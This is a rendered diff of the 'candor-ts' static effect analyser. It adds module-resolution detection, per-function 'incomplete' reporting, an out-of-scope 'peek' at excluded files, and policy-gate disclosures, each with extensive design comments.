|
4801
5271
|
const owner = enclosing(node);
|
|
4802
5272
|
if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add("reflect:require"); }
|
|
4803
5273
|
}
|
|
5274
|
+
// MODULE RESOLUTION READS THE FILESYSTEM — `require.resolve(m)`, `createRequire(u).resolve(m)`,
|
|
5275
|
+
// `import.meta.resolve(m)`. None of them EXECUTES the module (that is the `require(m)` arm above,
|
|
5276
|
+
// which discloses Unknown), but all three walk directories, read `package.json` files, and throw
|
|
5277
|
+
// MODULE_NOT_FOUND based on what they find: the answer is a function of what is on disk. It read PURE.
|
|
5278
|
+
//
|
|
5279
|
+
// Found by the MONOTONICITY oracle, and only by it: nypm's `doesDependencyExist` reported `Unknown`
|
|
5280
|
+
// with its dependencies absent and NOTHING once they were installed. (Two of that oracle's three
|
|
5281
|
+
// hits were legitimate refinements — consola resolving `string-width`/`strip-ansi` to genuinely pure
|
|
5282
|
+
// functions — so the instrument narrows the search, it does not decide.)
|
|
5283
|
+
//
|
|
5284
|
+
// INCOMPLETE, never a `paths` literal: the argument is a MODULE SPECIFIER, not a path, and the files
|
|
5285
|
+
// actually touched are a directory walk nobody wrote down. Publishing the specifier as a path would
|
|
5286
|
+
// fabricate a location; marking the surface incomplete is the fail-closed posture the masking guard
|
|
5287
|
+
// already takes for a runtime path, and the honest one for a call that reads unpredictable places.
|
|
5288
|
+
// Breadth measured before shipping: 2 of 34 cloned TS packages call these at all.
|
|
5289
|
+
{
|
|
5290
|
+
const ct2 = callee.getText().replace(/\s+/g, "");
|
|
5291
|
+
// SHADOW-GUARDED, like the `require(m)` arm one screen up — which this one originally was not.
|
|
5292
|
+
// Matching on TEXT alone charged Fs for a project's own `const require = { resolve: … }` shim, a
|
|
5293
|
+
// DI-injected `require` parameter, and a function merely NAMED `fakecreateRequire`. That is the
|
|
5294
|
+
// fabrication direction, in a rule whose sibling already carries the guard and says why: "a
|
|
5295
|
+
// project's own `require()` shadow never fabricates". Fixing an instance while its sibling
|
|
5296
|
+
// documents the class is this codebase's recurring failure, so the guard is reused verbatim.
|
|
5297
|
+
// RESOLVE THROUGH THE ALIAS — the same trap the `fetch` guard fell into. `import { createRequire }
|
|
5298
|
+
// from "node:module"` declares an ImportSpecifier IN THE IMPORTING FILE, so a declaration-site test
|
|
5299
|
+
// calls node's own function "the project's", and the first cut of this guard duly dropped the real
|
|
5300
|
+
// `createRequire(u).resolve(n)` to pure. What decides is where the symbol is DEFINED.
|
|
5301
|
+
const notProjectDeclared = (id) => {
|
|
5302
|
+
let sym = checker.getSymbolAtLocation(id);
|
|
5303
|
+
if (!sym) return true; // ambient global (node's `require`)
|
|
5304
|
+
if (sym.flags & ts.SymbolFlags.Alias) {
|
|
5305
|
+
try { sym = checker.getAliasedSymbol(sym); } catch { /* unresolved import — treat as external */ }
|
|
5306
|
+
}
|
|
5307
|
+
const decls = sym?.declarations ?? [];
|
|
5308
|
+
return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
|
|
5309
|
+
};
|
|
5310
|
+
const fromCreateRequire = (expr) => {
|
|
5311
|
+
if (!ts.isIdentifier(expr)) return false;
|
|
5312
|
+
const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
|
|
5313
|
+
if (!d || !ts.isVariableDeclaration(d) || !d.initializer) return false;
|
|
5314
|
+
if (!ts.isCallExpression(d.initializer)) return false;
|
|
5315
|
+
const ce = d.initializer.expression;
|
|
5316
|
+
// The CALLEE'S OWN NAME must be createRequire — `.endsWith` made `fakecreateRequire()` match.
|
|
5317
|
+
const nm = ts.isIdentifier(ce) ? ce.text
|
|
5318
|
+
: ts.isPropertyAccessExpression(ce) ? ce.name.text : "";
|
|
5319
|
+
if (nm !== "createRequire") return false;
|
|
5320
|
+
return !ts.isIdentifier(ce) || notProjectDeclared(ce);
|
|
5321
|
+
};
|
|
5322
|
+
const modResolve = ct2 === "import.meta.resolve"
|
|
5323
|
+
|| (ct2 === "require.resolve" && ts.isPropertyAccessExpression(callee)
|
|
5324
|
+
&& ts.isIdentifier(callee.expression) && notProjectDeclared(callee.expression))
|
|
5325
|
+
|| (ts.isPropertyAccessExpression(callee) && callee.name.text === "resolve"
|
|
5326
|
+
&& fromCreateRequire(callee.expression));
|
|
5327
|
+
if (modResolve) {
|
|
5328
|
+
const owner = enclosing(node);
|
|
5329
|
+
if (owner) { const r = fns.get(owner); r.direct.add("Fs"); r.incomplete.add("Fs"); }
|
|
5330
|
+
}
|
|
5331
|
+
}
|
|
4804
5332
|
// Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
|
|
4805
5333
|
// getters (the object-spread twin). Enumerate the sources' local getters.
|
|
4806
5334
|
if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
|
|
@@ -5285,7 +5813,7 @@ function depInitCell(pkg, subpath) {
|
|
|
5285
5813
|
let cell = null;
|
|
5286
5814
|
for (const [h, c] of crossDeps) {
|
|
5287
5815
|
if (!h.startsWith(`${pkg}#`) || !h.endsWith(".<module>")) continue;
|
|
5288
|
-
cell ??= { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], netIncomplete: false };
|
|
5816
|
+
cell ??= { inferred: new Set(), invisible: new Set(), why: new Set(), hosts: [], cmds: [], paths: [], tables: [], incomplete: new Set(), netIncomplete: false };
|
|
5289
5817
|
for (const e of c.inferred) cell.inferred.add(e);
|
|
5290
5818
|
for (const b of c.invisible) cell.invisible.add(b);
|
|
5291
5819
|
for (const w of c.why ?? []) cell.why.add(w);
|
|
@@ -5398,6 +5926,9 @@ function resolveDepEntryKey(pkg, subpath) {
|
|
|
5398
5926
|
// arm copies no `hosts` (a module unit's literals are not this caller's), so today it can only turn a
|
|
5399
5927
|
// hostless Net that a sibling literal in THIS body would have certified back into `unknown-host`.
|
|
5400
5928
|
if (cell.netIncomplete) rec.incomplete.add("Net");
|
|
5929
|
+
// ⟨0.29⟩ every OTHER effect the dependency could not locate, carried the same way. Without this the
|
|
5930
|
+
// join copies the dep's Fs and drops its "I could not see where", which is the fail-open above.
|
|
5931
|
+
for (const eff of cell.incomplete ?? []) rec.incomplete.add(eff);
|
|
5401
5932
|
}
|
|
5402
5933
|
for (let changed = true; changed; ) {
|
|
5403
5934
|
changed = false;
|
|
@@ -5557,7 +6088,11 @@ for (const m of ["hosts", "tables", "cmds", "paths", "blind", "incomplete", "fsK
|
|
|
5557
6088
|
// ---- emit: the §2 envelope (effect-free items omitted) + the §2.2 sidecar (EVERY fn a key) --------
|
|
5558
6089
|
// ⟨0.20⟩ Net destination-class partners from `.candor/config` — read ONCE here, used by the report's per-fn
|
|
5559
6090
|
// `netClass` field (below) and the gate (deny Net[unknown-host]); the SAME set both surfaces resolve.
|
|
5560
|
-
|
|
6091
|
+
// ⟨0.29⟩ …and a malformed `net-partner` line is DISCLOSED rather than kept as a junk host that matches
|
|
6092
|
+
// nothing for the rest of the run. Printed once, here, beside the other config diagnostics.
|
|
6093
|
+
const netPartnerErrs = [];
|
|
6094
|
+
const netPartners = parseNetPartners(discoverConfigText(target), netPartnerErrs);
|
|
6095
|
+
for (const e of netPartnerErrs) console.error(`candor-ts: ${e.why} — ${e.raw}`);
|
|
5561
6096
|
const functions = [];
|
|
5562
6097
|
for (const [name, rec] of fns) {
|
|
5563
6098
|
const inf = [...inferred.get(name)].sort();
|
|
@@ -5592,6 +6127,19 @@ for (const [name, rec] of fns) {
|
|
|
5592
6127
|
if (inf.includes("Db") && rec.tables.size) entry.tables = [...rec.tables].sort();
|
|
5593
6128
|
if (inf.includes("Exec") && rec.cmds.size) entry.cmds = [...rec.cmds].sort();
|
|
5594
6129
|
if (inf.includes("Fs") && rec.paths.size) entry.paths = [...rec.paths].sort();
|
|
6130
|
+
// ⟨0.29⟩ SPEC §2 `incomplete` — the effects whose LOCATOR this fn could not determine. Omitted when
|
|
6131
|
+
// empty, so a scan that determined everything is byte-identical to a pre-rung report.
|
|
6132
|
+
//
|
|
6133
|
+
// THIS ENGINE USED TO KEEP IT INTERNAL, on a premise about the family that was FALSE. The comment at the
|
|
6134
|
+
// dep-join said `rec.incomplete` is "deliberately INTERNAL family-wide (java/rust keep it out of the
|
|
6135
|
+
// report too)" — candor-rust has emitted it all along, and SPEC §2 says so in the clause right beside
|
|
6136
|
+
// the one this engine was following. MEASURED, and the cost is a false all-clear on a configured gate:
|
|
6137
|
+
// a dependency whose `Fs` path is a runtime value published NOTHING to say so, so a consumer that also
|
|
6138
|
+
// writes ONE allowed literal joined `paths: ['/tmp/lit']` with no incompleteness marker and
|
|
6139
|
+
// `allow Fs /tmp/lit` answered `policy ✓`. candor-rust, over the identical shape, charges AS-EFF-008.
|
|
6140
|
+
// An absent `paths` is overloaded between "reaches no path" and "reaches a path I could not see", and
|
|
6141
|
+
// this field is the only thing that separates them.
|
|
6142
|
+
if (rec.incomplete.size) entry.incomplete = [...rec.incomplete].sort();
|
|
5595
6143
|
// SPEC §2 `fs` — the read/write kinds this fn's OWN Fs calls revealed. Gated on `inferred` carrying Fs
|
|
5596
6144
|
// (the spec: "applies only when `inferred` contains `Fs`") and omitted when empty.
|
|
5597
6145
|
//
|
|
@@ -6051,7 +6599,10 @@ function fnv1aHex(sortedQuals) {
|
|
|
6051
6599
|
// so it says so. A producer MUST NOT list a surface it does not compute — that turns "unimplemented" into a
|
|
6052
6600
|
// false "undetermined", which is the inversion the field exists to prevent.
|
|
6053
6601
|
const envelope = { candor: { version: ENGINE_VERSION, toolchain: `node-${process.versions.node}`, spec: SPEC_VERSION },
|
|
6054
|
-
resolves
|
|
6602
|
+
// ⟨0.29⟩ `incomplete` joins `resolves`: an optional per-function refinement surface
|
|
6603
|
+
// whose absence is overloaded the way `fs`'s was — "does not compute undetermined
|
|
6604
|
+
// locators" vs "computed them and found none". This engine computes it, so it says so.
|
|
6605
|
+
resolves: ["fs", "incomplete"], package: pkgName, functions };
|
|
6055
6606
|
// ⟨0.15 staged⟩ the κ-coverage ledger as DATA (COVERAGE-DESIGN.md §1): ONE sorted form (count desc,
|
|
6056
6607
|
// name asc — exactly the stderr line's order) feeds the envelope field, the stderr receipt below, and
|
|
6057
6608
|
// the --gate-json advisory, so the three can never tell different stories.
|
|
@@ -6093,9 +6644,153 @@ for (const [name, rec] of fns) cg[name] = [...rec.edges].sort();
|
|
|
6093
6644
|
// ⟨0.28⟩ …and through `writeSinkAtomic`, so a symlinked or multiply-linked destination is written where
|
|
6094
6645
|
// the operator points rather than replaced. Reports have the same layout exposure as verdicts.
|
|
6095
6646
|
const writeAtomic = (file, text) => writeSinkAtomic(file, text);
|
|
6647
|
+
// ── ⟨0.29⟩ THE PEEK ───────────────────────────────────────────────────────────────────────────────
|
|
6648
|
+
// Read the files this run deliberately did NOT judge, and say so when they hold an effect the policy
|
|
6649
|
+
// DENIES. The verdict does not move: `outOfScope` is its own kind and never a violation, because a file
|
|
6650
|
+
// the gate declined to judge must not decide an exit code.
|
|
6651
|
+
//
|
|
6652
|
+
// A CHILD `scan.mjs`, not a second analysis path. candor-rust buys this by recursing into `scan_one`;
|
|
6653
|
+
// this engine is a script rather than a callable function, so the same guarantee comes from the same
|
|
6654
|
+
// BINARY over a different file set. That identity is the design constraint, not a convenience: a bespoke
|
|
6655
|
+
// second pass would be a SECOND OPINION, and a drifted second opinion reported as a warning is worse
|
|
6656
|
+
// than no warning — the reader cannot tell a real finding from two code paths disagreeing. The child is
|
|
6657
|
+
// given no policy, so it cannot gate and cannot recurse.
|
|
6658
|
+
//
|
|
6659
|
+
// PLACED HERE, ABOVE THE WRITE, on purpose. The gate block runs AFTER the envelope is serialised, so
|
|
6660
|
+
// computing this there would have put the finding on stderr and left it out of the artifact — the split
|
|
6661
|
+
// ⟨0.26⟩ calls worse than saying nothing. It reads the policy itself rather than borrowing the gate's
|
|
6662
|
+
// parse: one extra read of the same bytes through the same `parsePolicy`, not a second interpretation.
|
|
6663
|
+
//
|
|
6664
|
+
// POLICY-SCOPED AND POLICY-BOUNDED, which is the whole reason it stays quiet. No policy ⇒ the key is
|
|
6665
|
+
// ABSENT, because nothing was asked and `[]` would be a claim. With a policy, only effects that policy
|
|
6666
|
+
// DENIES are reported — otherwise the noise floor is "everything you excluded".
|
|
6667
|
+
let outOfScopeFindings = null;
|
|
6668
|
+
// ⟨0.29⟩ DID THE PEEK ACTUALLY READ ANYTHING? `peeked` was a constant of the exclusion CLASS, so a peek
|
|
6669
|
+
// that never ran, could not spawn, or produced unparseable output still published `peeked: true` beside
|
|
6670
|
+
// `outOfScope: []` — byte-identical to a clean peek, and the ⟨0.26⟩ partial-manifest failure inside the
|
|
6671
|
+
// rung built to prevent it. It is an outcome now.
|
|
6672
|
+
let peekRead = false;
|
|
6673
|
+
// ⟨0.29⟩ …AND DID IT READ THEM ALL? A child report the parent could PARSE is a different fact from every
|
|
6674
|
+
// excluded file having been opened. The child publishes its own ⟨0.21⟩ `unanalyzed` manifest and this
|
|
6675
|
+
// code read only `functions`, so an excluded file that failed to parse INSIDE the peek produced
|
|
6676
|
+
// `peeked: true` beside `outOfScope: []` — the same overclaim one comment up, one level down. `peeked` is
|
|
6677
|
+
// per CLASS, so the answer is too: a class is peeked only when no file of that class went unread.
|
|
6678
|
+
const peekUnread = new Set();
|
|
6679
|
+
let peekUnattributed = false;
|
|
6680
|
+
if (policyPath && excludedFiles.length) {
|
|
6681
|
+
let denied = new Set();
|
|
6682
|
+
try {
|
|
6683
|
+
const pol = parsePolicy(fs.readFileSync(policyPath, "utf8"), {});
|
|
6684
|
+
// ⟨0.29⟩ A REFUSED POLICY LEAVES THE KEY ABSENT (SPEC §2). The peek is a producer reading the policy,
|
|
6685
|
+
// so §3.1 binds it exactly as it binds the gate: over a policy no route will honour, `outOfScope: []`
|
|
6686
|
+
// claims a look taken against rules that never stood, and the `denied` set it would look for is the
|
|
6687
|
+
// parser's SALVAGE of an unhonourable file — the rewriting `fatalPolicyErrors` exists to refuse.
|
|
6688
|
+
// candor-java already withheld here; this engine, candor-rust and candor-swift did not.
|
|
6689
|
+
if (!fatalPolicyErrors(pol.errors).length) {
|
|
6690
|
+
denied = new Set((pol.deny ?? []).flatMap((r) => r.effects ?? []));
|
|
6691
|
+
}
|
|
6692
|
+
} catch { /* an unreadable policy is the gate's business to refuse, not the peek's */ }
|
|
6693
|
+
if (denied.size) {
|
|
6694
|
+
outOfScopeFindings = [];
|
|
6695
|
+
const peekDir = fs.mkdtempSync(path.join(os.tmpdir(), "candor-ts-peek-"));
|
|
6696
|
+
try {
|
|
6697
|
+
fs.writeFileSync(path.join(peekDir, "tsconfig.json"), JSON.stringify({
|
|
6698
|
+
compilerOptions: { target: "es2022", module: "esnext", allowJs: true, noEmit: true },
|
|
6699
|
+
files: excludedFiles.map((e) => path.resolve(rootDir, e.path)),
|
|
6700
|
+
}));
|
|
6701
|
+
const out = execFileSync(process.execPath,
|
|
6702
|
+
[fileURLToPath(import.meta.url), path.join(peekDir, "tsconfig.json"), "--json",
|
|
6703
|
+
"--peek-excluded"],
|
|
6704
|
+
// ⟨0.29⟩ `timeout` beside `maxBuffer`: the peek re-parses exactly the files this engine has never
|
|
6705
|
+
// parsed — vendored trees, generated code, declaration bundles — i.e. the inputs least likely to
|
|
6706
|
+
// have been exercised. Without a deadline one pathological file turns into a hung scan and a hung
|
|
6707
|
+
// CI job, which contradicts this feature's own rule that a peek which cannot run must not fail
|
|
6708
|
+
// the gate: hanging is the one failure that stops the gate completing at all. On timeout
|
|
6709
|
+
// `execFileSync` throws, the catch below leaves the findings as far as they got, and `peekRead`
|
|
6710
|
+
// stays false so no class claims to have been read.
|
|
6711
|
+
{ encoding: "utf8", maxBuffer: 1 << 28, timeout: 120_000,
|
|
6712
|
+
stdio: ["ignore", "pipe", "ignore"] });
|
|
6713
|
+
const doc = JSON.parse(out);
|
|
6714
|
+
peekRead = true; // the child returned a report this run could read — see `peekRead`
|
|
6715
|
+
for (const u of Array.isArray(doc.unanalyzed) ? doc.unanalyzed : []) {
|
|
6716
|
+
const where = String(u?.path ?? "");
|
|
6717
|
+
const hit = excludedFiles.find((e) => where.endsWith(e.path)
|
|
6718
|
+
|| where.endsWith(path.basename(e.path)));
|
|
6719
|
+
// The peek walks ONLY excluded files, so an unread path matching no exclusion is one this code
|
|
6720
|
+
// cannot attribute — fail closed across every class rather than let one unattributable file leave
|
|
6721
|
+
// all of them claiming completeness.
|
|
6722
|
+
if (hit) peekUnread.add(hit.cls); else peekUnattributed = true;
|
|
6723
|
+
}
|
|
6724
|
+
for (const f of doc.functions ?? []) {
|
|
6725
|
+
const hits = (f.inferred ?? []).filter((e) => denied.has(e));
|
|
6726
|
+
if (!hits.length) continue;
|
|
6727
|
+
// NAME IT FROM THE PROJECT, NOT FROM THE CHILD'S TEMP ROOT. The child's tsconfig lives in a
|
|
6728
|
+
// temp directory, so it derives module qualifiers from THAT root and the fn came out as a
|
|
6729
|
+
// dotted absolute path — accurate, unreadable, and pointing at a directory that no longer
|
|
6730
|
+
// exists by the time anyone reads it. The project-relative path is already known here (it is
|
|
6731
|
+
// what was excluded), so match on basename and report the path we already trust.
|
|
6732
|
+
const childLoc = (f.loc ?? "").split(":")[0] ?? "";
|
|
6733
|
+
const hit = excludedFiles.find((e) => childLoc.endsWith(e.path)
|
|
6734
|
+
|| childLoc.endsWith(path.basename(e.path)));
|
|
6735
|
+
const where = hit?.path ?? childLoc;
|
|
6736
|
+
const cls = hit?.cls ?? "excluded";
|
|
6737
|
+
outOfScopeFindings.push({
|
|
6738
|
+
fn: f.fn.split(".").pop() ?? f.fn, path: where, effects: hits, class: cls,
|
|
6739
|
+
reason: `OUTSIDE this scan's scope (${cls}) — the gate did NOT judge it. `
|
|
6740
|
+
+ "The effect is real; the verdict does not account for it.",
|
|
6741
|
+
});
|
|
6742
|
+
}
|
|
6743
|
+
outOfScopeFindings.sort((a, b) => (a.path + a.fn).localeCompare(b.path + b.fn));
|
|
6744
|
+
} catch {
|
|
6745
|
+
// A PEEK THAT CANNOT RUN MUST NOT FAIL THE GATE — it is advisory by construction, and turning a
|
|
6746
|
+
// child-process failure into a red gate would make the safest thing an operator can do (add a
|
|
6747
|
+
// policy) the thing that breaks their build. It stays `[]`: a policy WAS configured, so the key is
|
|
6748
|
+
// a real answer, and "we looked and found nothing" is what an empty list says.
|
|
6749
|
+
} finally {
|
|
6750
|
+
fs.rmSync(peekDir, { recursive: true, force: true });
|
|
6751
|
+
}
|
|
6752
|
+
}
|
|
6753
|
+
}
|
|
6754
|
+
if (outOfScopeFindings) {
|
|
6755
|
+
envelope.outOfScope = outOfScopeFindings;
|
|
6756
|
+
// SAY IT ON STDERR TOO. The report block is for machines; an operator reading `policy ✓` needs to know
|
|
6757
|
+
// in the same breath that a file this scan did not judge holds the effect they denied.
|
|
6758
|
+
for (const f of outOfScopeFindings) {
|
|
6759
|
+
console.error(`candor-ts: ⚠ ${f.fn} performs ${f.effects.join("+")} — OUTSIDE this scan's scope `
|
|
6760
|
+
+ `(${f.class}), so the gate did NOT judge it.`);
|
|
6761
|
+
if (f.path) console.error(` ${f.path}`);
|
|
6762
|
+
}
|
|
6763
|
+
if (outOfScopeFindings.length) {
|
|
6764
|
+
console.error(" The verdict does not account for "
|
|
6765
|
+
+ (outOfScopeFindings.length === 1 ? "it." : `these ${outOfScopeFindings.length}.`));
|
|
6766
|
+
}
|
|
6767
|
+
}
|
|
6768
|
+
|
|
6769
|
+
// ⟨0.29⟩ THE SCOPE, BUILT AFTER THE PEEK — `peeked` is an OUTCOME, so this block cannot be assembled
|
|
6770
|
+
// until the peek has run. It sat above the peek and read `peekRead` before anything could set it, which
|
|
6771
|
+
// is the ordering bug the flag's own purpose makes fatal: a field that exists to say whether a read
|
|
6772
|
+
// happened, computed before the read. Emitted even when EMPTY — ⟨0.27⟩ makes zero-match a positive
|
|
6773
|
+
// statement, and ⟨0.26⟩ makes an ABSENT key mean "this producer cannot answer".
|
|
6774
|
+
{
|
|
6775
|
+
const byClass = new Map();
|
|
6776
|
+
for (const e of excludedFiles) byClass.set(e.cls, (byClass.get(e.cls) ?? 0) + 1);
|
|
6777
|
+
envelope.excluded = [...byClass.entries()].sort((a, b) => a[0].localeCompare(b[0]))
|
|
6778
|
+
.map(([cls, count]) => ({ class: cls, count,
|
|
6779
|
+
// `peekUnread` subtracts the classes the peek RAN over and could not read:
|
|
6780
|
+
// parse failures are per file, so the claim is per class.
|
|
6781
|
+
peeked: peekRead && !peekUnattributed && !peekUnread.has(cls),
|
|
6782
|
+
reason: EXCLUDED_REASON[cls] ?? `excluded (${cls})` }));
|
|
6783
|
+
}
|
|
6784
|
+
|
|
6096
6785
|
// --json: print the §2 envelope to STDOUT instead of writing the report files (matches candor-scan/Rust).
|
|
6097
6786
|
if (wantJson) {
|
|
6098
|
-
console.log
|
|
6787
|
+
// writeStdoutSync, NOT console.log. MEASURED over a 400-file fixture with a violating policy: 95281
|
|
6788
|
+
// bytes to a FILE and valid JSON, **65536 bytes through a PIPE and a JSONDecodeError** — exactly the
|
|
6789
|
+
// pipe buffer, exit 1 either way, nothing on stderr. console.log is asynchronous on a pipe and the
|
|
6790
|
+
// process.exit() sites below discard what is still buffered. This is the machine-consumer path
|
|
6791
|
+
// (`candor-ts src --json --policy p | jq`), so the loss is silent and the document is invalid, which
|
|
6792
|
+
// is worse than the `--agents` truncation that got this class fixed in the first place.
|
|
6793
|
+
writeStdoutSync(JSON.stringify(envelope, null, 1) + "\n", "--json");
|
|
6099
6794
|
// ⟨0.28⟩ REPORT STREAM LATCH — a successful envelope went to stdout, so a later exit-2 site (baseline
|
|
6100
6795
|
// corrupt, policy refusal, gate NOT certified over unanalyzed) MUST NOT also write a fail-closed
|
|
6101
6796
|
// placeholder there. Two documents on one stream parses as neither — the same shape the two-stream
|
|
@@ -6509,7 +7204,10 @@ if (policyPath !== null) {
|
|
|
6509
7204
|
// `deny Fs`, absent from the exit-1 document's list, as evaluated-and-passed. The SHARED builder,
|
|
6510
7205
|
// so this document and `gate --report`'s stay byte-equal (§3.1's acceptance test for the routes).
|
|
6511
7206
|
policyRefusal = { why, unevaluated: policyRefusalUnevaluated(text, policyErrs) };
|
|
6512
|
-
|
|
7207
|
+
// ⟨0.29⟩ …counting `only` too: an `only`-only policy is a LIVE gate, and refusing it here would
|
|
7208
|
+
// be the ⟨0.28⟩ fail-closed guard turned into a false refusal by the rung that added the kind.
|
|
7209
|
+
} else if (!gatePolicy.deny.length && !gatePolicy.allow.length && !gatePolicy.forbid.length
|
|
7210
|
+
&& !(gatePolicy.only ?? []).length) {
|
|
6513
7211
|
// ⟨0.28⟩ A CONFIGURED POLICY THAT YIELDED ZERO RULES IS A BROKEN GATE CONFIG (SPEC §6.2) — the same
|
|
6514
7212
|
// refusal posture as the two branches above, and for the reason §6.2 already gives for an unreadable
|
|
6515
7213
|
// FILE: "a typo'd policy path that runs green is a gate that silently passes everything". MEASURED
|
|
@@ -6560,6 +7258,33 @@ if (policyPath !== null) {
|
|
|
6560
7258
|
// code is deliberately untouched: a zero-match rule is legitimate when one policy is shared across
|
|
6561
7259
|
// repositories and a layer exists in only some of them, so refusal would make a shared policy
|
|
6562
7260
|
// unusable. Printed before the violations so a typo'd layer name is visible above the verdict.
|
|
7261
|
+
// ⟨0.29⟩ THE NAME RULES STOP AT THE SCAN BOUNDARY, AND NOW SAY SO. `forbid A -> B` and
|
|
7262
|
+
// `only A -> B …` are matched over the call graph; a chained dependency contributes EFFECTS, not
|
|
7263
|
+
// EDGES, so a function that calls into a dep has an EMPTY adjacency and the crossing is invisible.
|
|
7264
|
+
// MEASURED: with a dep chained, `only model -> util` answered `policy ✓` over
|
|
7265
|
+
// `model.viaDep() -> deplib.infra.dbRead()` while a LOCAL unpermitted scope in the same run fired
|
|
7266
|
+
// AS-EFF-011 — so the rule was armed and the boundary, not the rule, was the gap.
|
|
7267
|
+
//
|
|
7268
|
+
// WORSE FOR `only` THAN FOR `forbid`, which is why this is disclosed rather than left implicit:
|
|
7269
|
+
// `forbid` asks whether ONE named crossing is present, so missing a dep crossing under-reports one
|
|
7270
|
+
// prohibition; `only` asserts A reaches the listed scopes AND NOTHING ELSE — a COMPLETENESS claim —
|
|
7271
|
+
// and it exists precisely because `forbid` fails open. A package that calls a third-party library is
|
|
7272
|
+
// not a leaf, and without this line the gate called it one.
|
|
7273
|
+
//
|
|
7274
|
+
// DISCLOSURE, NOT A VERDICT CHANGE, and not a re-scoping either: making the rules cross would need
|
|
7275
|
+
// dep-report EDGES, and it would force operators to enumerate third-party scopes in an `only` list —
|
|
7276
|
+
// the enumeration-that-rots that form was designed to escape. The ⟨0.29⟩ `outOfScope` posture
|
|
7277
|
+
// exactly: say what was not judged, leave the exit code alone.
|
|
7278
|
+
if (depChained()) {
|
|
7279
|
+
const named = [...(gatePolicy.forbid ?? []), ...(gatePolicy.only ?? [])];
|
|
7280
|
+
if (named.length) {
|
|
7281
|
+
console.error(`candor-ts: ⚠ ${named.length} name-matching rule(s) (\`forbid\`/\`only\`) were `
|
|
7282
|
+
+ "matched over THIS scan's call graph only — a chained dependency contributes effects, not "
|
|
7283
|
+
+ "call edges, so a crossing INTO a dependency is invisible to them. `deny`/`allow` still "
|
|
7284
|
+
+ "cross (effects propagate); an `only` rule cannot certify that a package is a leaf when it "
|
|
7285
|
+
+ "calls into one of its dependencies.");
|
|
7286
|
+
}
|
|
7287
|
+
}
|
|
6563
7288
|
for (const raw of gateOut.zeroMatch ?? []) {
|
|
6564
7289
|
console.error(`candor: policy rule matched NO function — \`${raw}\`. It was evaluated and bound `
|
|
6565
7290
|
+ `nothing, so it cannot have caught anything. Legitimate when one policy is shared across `
|